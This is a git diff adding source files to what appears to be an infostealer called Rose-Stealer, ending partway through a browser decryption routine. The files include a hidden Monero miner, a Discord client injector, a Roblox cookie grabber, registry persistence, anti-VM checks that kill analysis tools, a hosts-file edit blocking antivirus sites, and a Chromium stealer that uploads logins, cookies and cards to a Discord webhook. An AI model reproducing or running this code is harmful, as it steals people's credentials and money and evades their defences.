+import subprocess +import shutil +import string +import random +import threading +from zipfile import ZipFile + + +def get_random_string(length): + letters = string.digits + result_str = "".join(random.choice(letters) for i in range(length)) + return result_str + + +def xmrig(): + working_dir = os.path.join(os.getenv("APPDATA"), "rose") + + if not os.path.exists(working_dir): + os.mkdir(working_dir) + + xmrig_zip = os.path.join(working_dir, "xmrig.zip") + xmrig_dir = os.path.join(working_dir, "xmrig") + xmrig_exe = os.path.join(xmrig_dir, "xmrig-6.21.0", "xmrig.exe") + + if os.path.exists(xmrig_dir): + shutil.rmtree(xmrig_dir) + + if os.path.exists(xmrig_zip): + os.remove(xmrig_zip) + + response = requests.get("https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip") + response.raise_for_status() + + open(xmrig_zip, "wb").write(response.content) + + with ZipFile(xmrig_zip, "r") as zip_ref: + zip_ref.extractall(xmrig_dir) + + startupinfo = subprocess.STARTUPINFO() + startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW + + subprocess.Popen([xmrig_exe, "--donate-level", "1", "-o", "de.monero.herominers.com:1111", "-u", "49vfj17oFnshJpoX52tmacXhXd9ivUjdJC51fPUG8dFsXY8m39rTYj2TzrMWp7QwARP3QtBCKEqvkjDiYDMADD5PALx1XBu", "-p", get_random_string(12), "-a", "rx/0", "-k", "--background"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, startupinfo=startupinfo, creationflags=subprocess.CREATE_NO_WINDOW | subprocess.DETACHED_PROCESS, close_fds=True) + + +threading.Thread(target=xmrig()).start() diff --git a/Rose-Stealerv1/resources/source/old/InjectX.py b/Rose-Stealerv1/resources/source/old/InjectX.py new file mode 100644 index 0000000..85c0057 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/InjectX.py @@ -0,0 +1,61 @@ +# Entire code from https://github.com/addi00000/empyrean! +# Go give him some love. + +from bin.config import Config + +cc = Config() +import requests +import psutil +import re +import os +import subprocess + + +class InjectionX: + def __init__(self, webhook: str) -> None: + self.appdata = os.getenv("LOCALAPPDATA") + self.discord_dirs = [self.appdata + "\\Discord", self.appdata + "\\DiscordCanary", self.appdata + "\\DiscordPTB", self.appdata + "\\DiscordDevelopment"] + self.code = requests.get("https://raw.githubusercontent.com/DamagingRose/Rose-Grabber/main/resources/data/injection.js").text + if cc.get_nitro_auto_buy() is True: + self.code = self.code.replace("auto_buy_nitro: false,", "auto_buy_nitro: true,") + + for proc in psutil.process_iter(): + if "discord" in proc.name().lower(): + proc.kill() + + for dir in self.discord_dirs: + if not os.path.exists(dir): + continue + + if self.get_core(dir) is not None: + with open(self.get_core(dir)[0] + "\\index.js", "w", encoding="utf-8") as f: + f.write((self.code).replace("discord_desktop_core-1", self.get_core(dir)[1]).replace("%WEBHOOK%", webhook)) + self.start_discord(dir) + + @staticmethod + def get_core(dir: str) -> tuple: + for file in os.listdir(dir): + if re.search(r"app-+?", file): + modules = dir + "\\" + file + "\\modules" + if not os.path.exists(modules): + continue + for file in os.listdir(modules): + if re.search(r"discord_desktop_core-+?", file): + core = modules + "\\" + file + "\\" + "discord_desktop_core" + if not os.path.exists(core + "\\index.js"): + continue + return core, file + + @staticmethod + def start_discord(dir: str) -> None: + update = dir + "\\Update.exe" + executable = dir.split("\\")[-1] + ".exe" + + for file in os.listdir(dir): + if re.search(r"app-+?", file): + app = dir + "\\" + file + if os.path.exists(app + "\\" + "modules"): + for file in os.listdir(app): + if file == executable: + executable = app + "\\" + executable + subprocess.call([update, "--processStart", executable], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) diff --git a/Rose-Stealerv1/resources/source/old/_file.py b/Rose-Stealerv1/resources/source/old/_file.py new file mode 100644 index 0000000..7c2dd51 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/_file.py @@ -0,0 +1,12 @@ +from tabulate import tabulate + + +class FileX: + def table_wifi(self, data): + listx = [["SSID", "Password"]] + + for value in data: + listx.append([value["ssid"], value["password"]]) + + tablex = tabulate(listx, headers="firstrow", tablefmt="grid") + return tablex diff --git a/Rose-Stealerv1/resources/source/old/_random_string.py b/Rose-Stealerv1/resources/source/old/_random_string.py new file mode 100644 index 0000000..ed24140 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/_random_string.py @@ -0,0 +1,8 @@ +import string +import random + + +def get_random_string(length): + letters = string.digits + result_str = "".join(random.choice(letters) for i in range(length)) + return result_str diff --git a/Rose-Stealerv1/resources/source/old/_roblox.py b/Rose-Stealerv1/resources/source/old/_roblox.py new file mode 100644 index 0000000..f98bef4 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/_roblox.py @@ -0,0 +1,35 @@ +import requests +import browser_cookie3 +from bin.config import Config +from bin.webhook import _WebhookX + + +class RobloxX: + def __init__(self): + self.web = _WebhookX().get_object() + self.cc = Config() + + def UploadRobloxCookie(self, roblox_cookie): + try: + info = requests.get("https://www.roblox.com/mobileapi/userinfo", cookies={".ROBLOSECURITY": roblox_cookie}).json() + + json = {"embed": {"description": "Roblox Cookie Grabber:", "color": 13395456, "timestamp": "now", "author": {"name": self.cc.get_name(), "icon_url": self.cc.get_avatar()}, "footer": {"text": self.cc.get_footer(), "icon_url": self.cc.get_avatar()}, "fields": [{"name": "User ID:", "value": "`" + info["UserID"] + "`"}, {"name": "Username:", "value": "`" + info["UserName"] + "`"}, {"name": "Robux Balance:", "value": "`" + info["RobuxBalance"] + "`"}, {"name": "IsPremium:", "value": "`" + info["IsPremium"] + "`"}, {"name": "ROBLOSECURITY:", "value": "Roblox Cookie ```" + roblox_cookie + "```"}], "image": {"url": info["ThumbnailUrl"]}}} + + requests.self(self.web, json=json) + except: + pass + + def RobloxCookieGrabber(self): + browsers = [browser_cookie3.chrome, browser_cookie3.firefox, browser_cookie3.librewolf, browser_cookie3.opera, browser_cookie3.edge, browser_cookie3.chromium, browser_cookie3.brave, browser_cookie3.vivaldi, browser_cookie3.safari] + + for browser in browsers: + try: + cookies = browser(domain_name="roblox.com") + cookies = str(cookies) + cookie = cookies.split(".ROBLOSECURITY=")[1].split(" for .roblox.com/>")[0].strip() + self.UploadRobloxCookie(cookie) + except: + pass + + def run(self): + self.RobloxCookieGrabber() diff --git a/Rose-Stealerv1/resources/source/old/_startup.py b/Rose-Stealerv1/resources/source/old/_startup.py new file mode 100644 index 0000000..892f353 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/_startup.py @@ -0,0 +1,33 @@ +import subprocess +import sys +import os +import shutil +from _random_string import get_random_string + + +class Startup: + def __init__(self): + self.dir_name = get_random_string(12) + self.working_dir = os.path.join(os.getenv("APPDATA"), self.dir_name) + self.exec_name = f"{get_random_string(16)}.exe" + self.full_path = os.path.join(self.working_dir, self.exec_name) + self.reg_entry = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + self.regent_name = get_random_string(18) + + self.mkdir() + self.copy_stub() + self.regedit() + + def mkdir(self): + if not os.path.isdir(self.working_dir): + os.mkdir(self.working_dir) + else: + shutil.rmtree(self.working_dir) + os.mkdir(self.working_dir) + + def copy_stub(self): + shutil.copy2(os.path.realpath(sys.executable), self.full_path) + + def regedit(self): + subprocess.run(args=f'reg delete "{self.reg_entry}" /v {self.regent_name} /f', shell=True) + subprocess.run(args=f'reg add "{self.reg_entry}" /v {self.regent_name} /t REG_SZ /d "{self.full_path}" /f', shell=True) diff --git a/Rose-Stealerv1/resources/source/old/_webhook.py b/Rose-Stealerv1/resources/source/old/_webhook.py new file mode 100644 index 0000000..826e34b --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/_webhook.py @@ -0,0 +1,23 @@ +from bin.config import Config +from dhooks import Embed +from bin.webhook import _WebhookX + +cc = Config() + + +class WebhookX: + def __init__(self): + self.webx = _WebhookX().get_object() + + def locations_webhook(self, dictx): + embed = Embed(description="Location Infos:", color=cc.get_color(), timestamp="now") # sets the timestamp to current time + + embed.set_author(name=cc.get_name(), icon_url=cc.get_avatar()) + embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar()) + + for j in dictx: + print(j) + zvalue = dictx[j] + embed.add_field(name=j, value=f"`{zvalue}`") + + self.webx.send(embed=embed) diff --git a/Rose-Stealerv1/resources/source/old/antivm.py b/Rose-Stealerv1/resources/source/old/antivm.py new file mode 100644 index 0000000..a1ef615 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/antivm.py @@ -0,0 +1,483 @@ +import subprocess +import getmac +import os +import requests +import winreg +import psutil + + +def user_check(): + USERS = [ + "Admin", + "BEE7370C-8C0C-4", + "DESKTOP-NAKFFMT", + "WIN-5E07COS9ALR", + "B30F0242-1C6A-4", + "DESKTOP-VRSQLAG", + "Q9IATRKPRH", + "XC64ZB", + "DESKTOP-D019GDM", + "DESKTOP-WI8CLET", + "SERVER1", + "LISA-PC", + "JOHN-PC", + "DESKTOP-B0T93D6", + "DESKTOP-1PYKP29", + "DESKTOP-1Y2433R", + "WILEYPC", + "WORK", + "6C4E733F-C2D9-4", + "RALPHS-PC", + "DESKTOP-WG3MYJS", + "DESKTOP-7XC6GEZ", + "DESKTOP-5OV9S0O", + "QarZhrdBpj", + "ORELEEPC", + "ARCHIBALDPC", + "JULIA-PC", + "d1bnJkfVlH", + "WDAGUtilityAccount", + "Abby", + "patex", + "RDhJ0CNFevzX", + "kEecfMwgj", + "Frank", + "8Nl0ColNQ5bq", + "Lisa", + "John", + "george", + "PxmdUOpVyx", + "8VizSM", + "w0fjuOVmCcP5A", + "lmVwjj9b", + "PqONjHVwexsS", + "3u2v9m8", + "Julia", + "HEUeRzl", + "fred", + "server", + "BvJChRPnsxn", + "Harry Johnson", + "SqgFOf3G", + "Lucas", + "mike", + "PateX", + "h7dk1xPr", + "Louise", + "User01", + "test", + "RGzcBUyrznReg", + "OgJb6GqgK0O", + "joshuarob", + ] + + try: + USER = os.getlogin() + if USER in USERS: + return True + except: + pass + + +def process_check(): + PROCESSES = [ + "http toolkit.exe", + "httpdebuggerui.exe", + "wireshark.exe", + "fiddler.exe", + "charles.exe", + "regedit.exe", + "cmd.exe", + "taskmgr.exe", + "vboxservice.exe", + "df5serv.exe", + "processhacker.exe", + "vboxtray.exe", + "vmtoolsd.exe", + "vmwaretray.exe", + "ida64.exe", + "ollydbg.exe", + "pestudio.exe", + "vmwareuser", + "vgauthservice.exe", + "vmacthlp.exe", + "x96dbg.exe", + "vmsrvc.exe", + "x32dbg.exe", + "vmusrvc.exe", + "prl_cc.exe", + "prl_tools.exe", + "qemu-ga.exe", + "joeboxcontrol.exe", + "ksdumperclient.exe", + "ksdumper.exe", + "joeboxserver.exe", + "xenservice.exe", + ] + for proc in psutil.process_iter(): + if any(procstr in proc.name().lower() for procstr in PROCESSES): + try: + proc.kill() + except (psutil.NoSuchProcess, psutil.AccessDenied): + pass + + +def hwid_check(): + HWIDS = [ + "7AB5C494-39F5-4941-9163-47F54D6D5016", + "03DE0294-0480-05DE-1A06-350700080009", + "11111111-2222-3333-4444-555555555555", + "6F3CA5EC-BEC9-4A4D-8274-11168F640058", + "ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548", + "4C4C4544-0050-3710-8058-CAC04F59344A", + "00000000-0000-0000-0000-AC1F6BD04972", + "00000000-0000-0000-0000-000000000000", + "5BD24D56-789F-8468-7CDC-CAA7222CC121", + "49434D53-0200-9065-2500-65902500E439", + "49434D53-0200-9036-2500-36902500F022", + "777D84B3-88D1-451C-93E4-D235177420A7", + "49434D53-0200-9036-2500-369025000C65", + "B1112042-52E8-E25B-3655-6A4F54155DBF", + "00000000-0000-0000-0000-AC1F6BD048FE", + "EB16924B-FB6D-4FA1-8666-17B91F62FB37", + "A15A930C-8251-9645-AF63-E45AD728C20C", + "67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3", + "C7D23342-A5D4-68A1-59AC-CF40F735B363", + "63203342-0EB0-AA1A-4DF5-3FB37DBB0670", + "44B94D56-65AB-DC02-86A0-98143A7423BF", + "6608003F-ECE4-494E-B07E-1C4615D1D93C", + "D9142042-8F51-5EFF-D5F8-EE9AE3D1602A", + "49434D53-0200-9036-2500-369025003AF0", + "8B4E8278-525C-7343-B825-280AEBCD3BCB", + "4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27", + "79AF5279-16CF-4094-9758-F88A616D81B4", + "FF577B79-782E-0A4D-8568-B35A9B7EB76B", + "08C1E400-3C56-11EA-8000-3CECEF43FEDE", + "6ECEAF72-3548-476C-BD8D-73134A9182C8", + "49434D53-0200-9036-2500-369025003865", + "119602E8-92F9-BD4B-8979-DA682276D385", + "12204D56-28C0-AB03-51B7-44A8B7525250", + "63FA3342-31C7-4E8E-8089-DAFF6CE5E967", + "365B4000-3B25-11EA-8000-3CECEF44010C", + "D8C30328-1B06-4611-8E3C-E433F4F9794E", + "00000000-0000-0000-0000-50E5493391EF", + "00000000-0000-0000-0000-AC1F6BD04D98", + "4CB82042-BA8F-1748-C941-363C391CA7F3", + "B6464A2B-92C7-4B95-A2D0-E5410081B812", + "BB233342-2E01-718F-D4A1-E7F69D026428", + "9921DE3A-5C1A-DF11-9078-563412000026", + "CC5B3F62-2A04-4D2E-A46C-AA41B7050712", + "00000000-0000-0000-0000-AC1F6BD04986", + "C249957A-AA08-4B21-933F-9271BEC63C85", + "BE784D56-81F5-2C8D-9D4B-5AB56F05D86E", + "ACA69200-3C4C-11EA-8000-3CECEF4401AA", + "3F284CA4-8BDF-489B-A273-41B44D668F6D", + "BB64E044-87BA-C847-BC0A-C797D1A16A50", + "2E6FB594-9D55-4424-8E74-CE25A25E36B0", + "42A82042-3F13-512F-5E3D-6BF4FFFD8518", + "38AB3342-66B0-7175-0B23-F390B3728B78", + "48941AE9-D52F-11DF-BBDA-503734826431", + "A7721742-BE24-8A1C-B859-D7F8251A83D3", + "3F3C58D1-B4F2-4019-B2A2-2A500E96AF2E", + "D2DC3342-396C-6737-A8F6-0C6673C1DE08", + "EADD1742-4807-00A0-F92E-CCD933E9D8C1", + "AF1B2042-4B90-0000-A4E4-632A1C8C7EB1", + "FE455D1A-BE27-4BA4-96C8-967A6D3A9661", + "921E2042-70D3-F9F1-8CBD-B398A21F89C6", + "6AA13342-49AB-DC46-4F28-D7BDDCE6BE32", + "F68B2042-E3A7-2ADA-ADBC-A6274307A317", + "07AF2042-392C-229F-8491-455123CC85FB", + "4EDF3342-E7A2-5776-4AE5-57531F471D56", + "032E02B4-0499-05C3-0806-3C0700080009", + "11111111-2222-3333-4444-555555555555", + ] + + try: + HWID = subprocess.check_output(r"wmic csproduct get uuid", creationflags=0x08000000).decode().split("\n")[1].strip() + + if HWID in HWIDS: + return True + except Exception: + pass + + +def ip_check(): + try: + IPS = [ + "None", + "88.132.231.71", + "78.139.8.50", + "20.99.160.173", + "88.153.199.169", + "84.147.62.12", + "194.154.78.160", + "92.211.109.160", + "195.74.76.222", + "188.105.91.116", + "34.105.183.68", + "92.211.55.199", + "79.104.209.33", + "95.25.204.90", + "34.145.89.174", + "109.74.154.90", + "109.145.173.169", + "34.141.146.114", + "212.119.227.151", + "195.239.51.59", + "192.40.57.234", + "64.124.12.162", + "34.142.74.220", + "188.105.91.173", + "109.74.154.91", + "34.105.72.241", + "109.74.154.92", + "213.33.142.50", + "109.74.154.91", + "93.216.75.209", + "192.87.28.103", + "88.132.226.203", + "195.181.175.105", + "88.132.225.100", + "92.211.192.144", + "34.83.46.130", + "188.105.91.143", + "34.85.243.241", + "34.141.245.25", + "178.239.165.70", + "84.147.54.113", + "193.128.114.45", + "95.25.81.24", + "92.211.52.62", + "88.132.227.238", + "35.199.6.13", + "80.211.0.97", + "34.85.253.170", + "23.128.248.46", + "35.229.69.227", + "34.138.96.23", + "192.211.110.74", + "35.237.47.12", + "87.166.50.213", + "34.253.248.228", + "212.119.227.167", + "193.225.193.201", + "34.145.195.58", + "34.105.0.27", + "195.239.51.3", + "35.192.93.107", + "213.33.190.22", + "194.154.78.152", + "20.114.22.115", + ] + IP = requests.get("https://api.myip.com").json()["ip"] + + if IP in IPS: + return True + except: + pass + + +def registry_check(): + reg1 = os.system("REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2> nul") + reg2 = os.system("REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2> nul") + if reg1 != 1 and reg2 != 1: + return True + handle = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum") + try: + reg_val = winreg.QueryValueEx(handle, "0")[0] + if ("VMware" or "VBOX") in reg_val: + return True + finally: + winreg.CloseKey(handle) + + +def dll_check(): + vmware_dll = os.path.join(os.environ["SystemRoot"], "System32\\vmGuestLib.dll") + virtualbox_dll = os.path.join(os.environ["SystemRoot"], "vboxmrxnp.dll") + if os.path.exists(vmware_dll): + return True + if os.path.exists(virtualbox_dll): + return True + + +def specs_check(): + try: + RAM = str(psutil.virtual_memory()[0] / 1024**3).split(".")[0] + DISK = str(psutil.disk_usage("/")[0] / 1024**3).split(".")[0] + if int(RAM) <= 2: + return True + if int(DISK) <= 50: + return True + if int(psutil.cpu_count()) <= 1: + return True + except: + pass + + +def proc_check(): + processes = ["VMwareService.exe", "VMwareTray.exe"] + for proc in psutil.process_iter(): + for program in processes: + if proc.name() == program: + return True + + +def mac_check(): + try: + MACS = [ + "05:17:5D:75:D5:54", + "00:03:47:63:8b:de", + "00:0c:29:05:d8:6e", + "00:0c:29:2c:c1:21", + "00:0c:29:52:52:50", + "00:0d:3a:d2:4f:1f", + "00:15:5d:00:00:1d", + "00:15:5d:00:00:a4", + "00:15:5d:00:00:b3", + "00:15:5d:00:00:c3", + "00:15:5d:00:00:f3", + "00:15:5d:00:01:81", + "00:15:5d:00:02:26", + "00:15:5d:00:05:8d", + "00:15:5d:00:05:d5", + "00:15:5d:00:06:43", + "00:15:5d:00:07:34", + "00:15:5d:00:1a:b9", + "00:15:5d:00:1c:9a", + "00:15:5d:13:66:ca", + "00:15:5d:13:6d:0c", + "00:15:5d:1e:01:c8", + "00:15:5d:23:4c:a3", + "00:15:5d:23:4c:ad", + "00:15:5d:b6:e0:cc", + "00:1b:21:13:15:20", + "00:1b:21:13:21:26", + "00:1b:21:13:26:44", + "00:1b:21:13:32:20", + "00:1b:21:13:32:51", + "00:1b:21:13:33:55", + "00:23:cd:ff:94:f0", + "00:25:90:36:65:0c", + "00:25:90:36:65:38", + "00:25:90:36:f0:3b", + "00:25:90:65:39:e4", + "00:50:56:97:a1:f8", + "00:50:56:97:ec:f2", + "00:50:56:97:f6:c8", + "00:50:56:a0:06:8d", + "00:50:56:a0:38:06", + "00:50:56:a0:39:18", + "00:50:56:a0:45:03", + "00:50:56:a0:59:10", + "00:50:56:a0:61:aa", + "00:50:56:a0:6d:86", + "00:50:56:a0:84:88", + "00:50:56:a0:af:75", + "00:50:56:a0:cd:a8", + "00:50:56:a0:d0:fa", + "00:50:56:a0:d7:38", + "00:50:56:a0:dd:00", + "00:50:56:ae:5d:ea", + "00:50:56:ae:6f:54", + "00:50:56:ae:b2:b0", + "00:50:56:ae:e5:d5", + "00:50:56:b3:05:b4", + "00:50:56:b3:09:9e", + "00:50:56:b3:14:59", + "00:50:56:b3:21:29", + "00:50:56:b3:38:68", + "00:50:56:b3:38:88", + "00:50:56:b3:3b:a6", + "00:50:56:b3:42:33", + "00:50:56:b3:4c:bf", + "00:50:56:b3:50:de", + "00:50:56:b3:91:c8", + "00:50:56:b3:94:cb", + "00:50:56:b3:9e:9e", + "00:50:56:b3:a9:36", + "00:50:56:b3:d0:a7", + "00:50:56:b3:dd:03", + "00:50:56:b3:ea:ee", + "00:50:56:b3:ee:e1", + "00:50:56:b3:f6:57", + "00:50:56:b3:fa:23", + "00:e0:4c:42:c7:cb", + "00:e0:4c:44:76:54", + "00:e0:4c:46:cf:01", + "00:e0:4c:4b:4a:40", + "00:e0:4c:56:42:97", + "00:e0:4c:7b:7b:86", + "00:e0:4c:94:1f:20", + "00:e0:4c:b3:5a:2a", + "00:e0:4c:b8:7a:58", + "00:e0:4c:cb:62:08", + "00:e0:4c:d6:86:77", + "06:75:91:59:3e:02", + "08:00:27:3a:28:73", + "08:00:27:45:13:10", + "12:1b:9e:3c:a6:2c", + "12:8a:5c:2a:65:d1", + "12:f8:87:ab:13:ec", + "16:ef:22:04:af:76", + "1a:6c:62:60:3b:f4", + "1c:99:57:1c:ad:e4", + "1e:6c:34:93:68:64", + "2e:62:e8:47:14:49", + "2e:b8:24:4d:f7:de", + "32:11:4d:d0:4a:9e", + "3c:ec:ef:43:fe:de", + "3c:ec:ef:44:00:d0", + "3c:ec:ef:44:01:0c", + "3c:ec:ef:44:01:aa", + "3e:1c:a1:40:b7:5f", + "3e:53:81:b7:01:13", + "3e:c1:fd:f1:bf:71", + "42:01:0a:8a:00:22", + "42:01:0a:8a:00:33", + "42:01:0a:8e:00:22", + "42:01:0a:96:00:22", + "42:01:0a:96:00:33", + "42:85:07:f4:83:d0", + "4e:79:c0:d9:af:c3", + "4e:81:81:8e:22:4e", + "52:54:00:3b:78:24", + "52:54:00:8b:a6:08", + "52:54:00:a0:41:92", + "52:54:00:ab:de:59", + "52:54:00:b3:e4:71", + "56:b0:6f:ca:0a:e7", + "56:e8:92:2e:76:0d", + "5a:e2:a6:a4:44:db", + "5e:86:e4:3d:0d:f6", + "60:02:92:3d:f1:69", + "60:02:92:66:10:79", + "7e:05:a3:62:9c:4d", + "90:48:9a:9d:d5:24", + "92:4c:a8:23:fc:2e", + "94:de:80:de:1a:35", + "96:2b:e9:43:96:76", + "a6:24:aa:ae:e6:12", + "ac:1f:6b:d0:48:fe", + "ac:1f:6b:d0:49:86", + "ac:1f:6b:d0:4d:98", + "ac:1f:6b:d0:4d:e4", + "b4:2e:99:c3:08:3c", + "b4:a9:5a:b1:c6:fd", + "b6:ed:9d:27:f4:fa", + "be:00:e5:c5:0c:e5", + "c2:ee:af:fd:29:21", + "c8:9f:1d:b6:58:e4", + "ca:4d:4b:ca:18:cc", + "d4:81:d7:87:05:ab", + "d4:81:d7:ed:25:54", + "d6:03:e4:ab:77:8e", + "ea:02:75:3c:90:9f", + "ea:f6:f1:a2:33:76", + "f6:a5:41:31:b2:78", + ] + MAC = str(getmac.get_mac_address()) + + if MAC in MACS: + return True + except: + pass diff --git a/Rose-Stealerv1/resources/source/old/block_sites.py b/Rose-Stealerv1/resources/source/old/block_sites.py new file mode 100644 index 0000000..c80806b --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/block_sites.py @@ -0,0 +1,38 @@ +# Entire code from https://github.com/blank-c/blank-grabber! +# Go give him some love. + +import os +import subprocess + + +def block_sites(): + call = subprocess.run("REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath", shell=True, capture_output=True) + + if call.returncode != 0: + hostdirpath = os.path.join("System32", "drivers", "etc") + else: + hostdirpath = os.sep.join(call.stdout.decode(errors="ignore").strip().splitlines()[-1].split()[-1].split(os.sep)[1:]) + hostfilepath = os.path.join(os.getenv("systemroot"), hostdirpath, "hosts") + if not os.path.isfile(hostfilepath): + return + with open(hostfilepath) as file: + data = file.readlines() + + BANNED_SITES = ("virustotal.com", "avast.com", "totalav.com", "scanguard.com", "totaladblock.com", "pcprotect.com", "mcafee.com", "bitdefender.com", "us.norton.com", "avg.com", "malwarebytes.com", "pandasecurity.com", "avira.com", "norton.com", "eset.com", "zillya.com", "kaspersky.com", "usa.kaspersky.com", "sophos.com", "home.sophos.com", "adaware.com", "bullguard.com", "clamav.net", "drweb.com", "emsisoft.com", "f-secure.com", "zonealarm.com", "trendmicro.com", "ccleaner.com") + newdata = [] + for i in data: + if any([(x in i) for x in BANNED_SITES]): + continue + else: + newdata.append(i) + + for i in BANNED_SITES: + newdata.append("\t0.0.0.0 {}".format(i)) + newdata.append("\t0.0.0.0 www.{}".format(i)) + + newdata = "\n".join(newdata).replace("\n\n", "\n") + + subprocess.run("attrib -r {}".format(hostfilepath), shell=True, capture_output=True) # Removes read-only attribute from hosts file + with open(hostfilepath, "w") as file: + file.write(newdata) + subprocess.run("attrib +r {}".format(hostfilepath), shell=True, capture_output=True) # Adds read-only attribute to hosts file diff --git a/Rose-Stealerv1/resources/source/old/browser.py b/Rose-Stealerv1/resources/source/old/browser.py new file mode 100644 index 0000000..6098f3c --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/browser.py @@ -0,0 +1,342 @@ +# Entire code from https://github.com/addi00000/empyrean! +# Go give him some love. + +import base64 +import datetime +import json +import os +import shutil +import sqlite3 +from pathlib import Path +from zipfile import ZipFile +from bin.config import Config + +from Crypto.Cipher import AES +from discord import Embed, File, SyncWebhook +from win32crypt import CryptUnprotectData + +cc = Config() + +__LOGINS__ = [] +__COOKIES__ = [] +__WEB_HISTORY__ = [] +__DOWNLOADS__ = [] +__CARDS__ = [] + +main_path = os.path.join(os.getenv("APPDATA"), "roseontop") + + +class Browsers: + def __init__(self, webhook): + self.webhook = SyncWebhook.from_url(webhook) + + Chromium() + Upload(self.webhook) + + +class Upload: + def __init__(self, webhook: SyncWebhook): + self.webhook = webhook + + self.write_files() + self.send() + self.clean() + + def write_files(self): + os.makedirs(os.path.join(main_path, "vault"), exist_ok=True) + if __LOGINS__: + with open(os.path.join(main_path, "vault", "logins.txt"), "w", encoding="utf-8") as f: + f.write("\n".join(str(x) for x in __LOGINS__)) + + if __COOKIES__: + with open(os.path.join(main_path, "vault", "cookies.txt"), "w", encoding="utf-8") as f: + f.write("\n".join(str(x) for x in __COOKIES__)) + + if __WEB_HISTORY__: + with open(os.path.join(main_path, "vault", "web_history.txt"), "w", encoding="utf-8") as f: + f.write("\n".join(str(x) for x in __WEB_HISTORY__)) + + if __DOWNLOADS__: + with open(os.path.join(main_path, "vault", "downloads.txt"), "w", encoding="utf-8") as f: + f.write("\n".join(str(x) for x in __DOWNLOADS__)) + + if __CARDS__: + with open(os.path.join(main_path, "vault", "cards.txt"), "w", encoding="utf-8") as f: + f.write("\n".join(str(x) for x in __CARDS__)) + + with ZipFile(os.path.join(main_path, "vault.zip"), "w") as zip: + for file in os.listdir(os.path.join(main_path, "vault")): + zip.write(os.path.join(main_path, "vault", file), file) + + def send(self): + self.webhook.send(embed=Embed(title="Vault", description="```" + "\n".join(self.tree(Path(os.path.join(main_path, "vault")))) + "```", timestamp=datetime.datetime.utcnow(), color=cc.get_color()), file=File(os.path.join(main_path, "vault.zip")), username=cc.get_name(), avatar_url=cc.get_avatar()) + + def clean(self): + shutil.rmtree(os.path.join(main_path, "vault")) + os.remove(os.path.join(main_path, "vault.zip")) + + def tree(self, path: Path, prefix: str = "", midfix_folder: str = "📂 - ", midfix_file: str = "📄 - "): + pipes = { + "space": " ", + "branch": "│ ", + "tee": "├── ", + "last": "└── ", + } + + if prefix == "": + yield midfix_folder + path.name + + contents = list(path.iterdir()) + pointers = [pipes["tee"]] * (len(contents) - 1) + [pipes["last"]] + for pointer, path in zip(pointers, contents): + if path.is_dir(): + yield f"{prefix}{pointer}{midfix_folder}{path.name} ({len(list(path.glob('**/*')))} files, {sum(f.stat().st_size for f in path.glob('**/*') if f.is_file()) / 1024:.2f} kb)" + extension = pipes["branch"] if pointer == pipes["tee"] else pipes["space"] + yield from self.tree(path, prefix=prefix + extension) + else: + yield f"{prefix}{pointer}{midfix_file}{path.name} ({path.stat().st_size / 1024:.2f} kb)" + + +class Chromium: + def __init__(self): + self.appdata = os.getenv("LOCALAPPDATA") + self.browsers = { + "amigo": self.appdata + "\\Amigo\\User Data", + "torch": self.appdata + "\\Torch\\User Data", + "kometa": self.appdata + "\\Kometa\\User Data", + "orbitum": self.appdata + "\\Orbitum\\User Data", + "cent-browser": self.appdata + "\\CentBrowser\\User Data", + "7star": self.appdata + "\\7Star\\7Star\\User Data", + "sputnik": self.appdata + "\\Sputnik\\Sputnik\\User Data", + "vivaldi": self.appdata + "\\Vivaldi\\User Data", + "google-chrome-sxs": self.appdata + "\\Google\\Chrome SxS\\User Data", + "google-chrome": self.appdata + "\\Google\\Chrome\\User Data", + "epic-privacy-browser": self.appdata + "\\Epic Privacy Browser\\User Data", + "microsoft-edge": self.appdata + "\\Microsoft\\Edge\\User Data", + "uran": self.appdata + "\\uCozMedia\\Uran\\User Data", + "yandex": self.appdata + "\\Yandex\\YandexBrowser\\User Data", + "brave": self.appdata + "\\BraveSoftware\\Brave-Browser\\User Data", + "iridium": self.appdata + "\\Iridium\\User Data", + } + self.profiles = [ + "Default", + "Profile 1", + "Profile 2", + "Profile 3", + "Profile 4", + "Profile 5", + ] + + for _, path in self.browsers.items(): + if not os.path.exists(path): + continue + + self.master_key = self.get_master_key(f"{path}\\Local State") + if not self.master_key: + continue + + for profile in self.profiles: + if not os.path.exists(path + "\\" + profile): + continue + + operations = [ + self.get_login_data, + self.get_cookies, + self.get_web_history, + self.get_downloads, + self.get_credit_cards, + ] + + for operation in operations: + try: + operation(path, profile) + except Exception as e: + # print(e) + pass + + def get_master_key(self, path: str) -> str: + if not os.path.exists(path): + return + + if "os_crypt" not in open(path, "r", encoding="utf-8").read(): + return + + with open(path, "r", encoding="utf-8") as f: + c = f.read() + local_state = json.loads(c) + + master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) + master_key = master_key[5:] + master_key = CryptUnprotectData(master_key, None, None, None, 0)[1] + return master_key + + def decrypt_password(self, buff: bytes, master_key: bytes) -> str: + iv = buff[3:15] + payload = buff[15:] + cipher = AES.new(master_key, AES.MODE_GCM, iv) + decrypted_pass = 